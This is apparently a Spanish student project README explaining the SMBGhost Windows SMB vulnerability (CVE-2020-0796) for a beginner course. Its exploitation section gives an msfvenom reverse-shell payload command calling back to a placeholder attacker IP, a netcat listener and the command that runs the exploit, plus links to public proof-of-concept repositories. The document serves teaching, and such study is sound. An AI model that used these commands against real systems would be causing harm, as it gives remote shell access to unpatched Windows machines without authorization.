CVE-2020-0796

Explicación de CVE-2020-0796 e investigación de la vulnerabilidad para el proyecto del trimestre CENG325 para principiantes

¿Cómo explotar?

Generación de payload de usuario para reverse shell:

msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=5555 -f python

puerto de escucha:

nc -lvnp 5555

ejecución del exploit:

python3 exploit.py -ip TARGET_IP

Repositorios de PoC

• https://github.com/chompie1337/SMBGhost_RCE_PoC
• https://github.com/ollypwn/SMBGhost

Referencias

1. CVE-2020-0796: Vulnerabilidad de Ejecución Remota de Código “Wormable” en.(2020, 13 de marzo). Tenable®. https://www.tenable.com/blog/cve-2020-0796-wormable-remote-code-execution-vulnerability-in-microsoft-server-message-block
2. “Preguntaré a tu cuerpo”: SMBGhost RCE previo a autenticación abusando de estructuras de acceso directo a memoria. (2020, 20 de abril). Ricercasecurtiy.Blogspot.https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html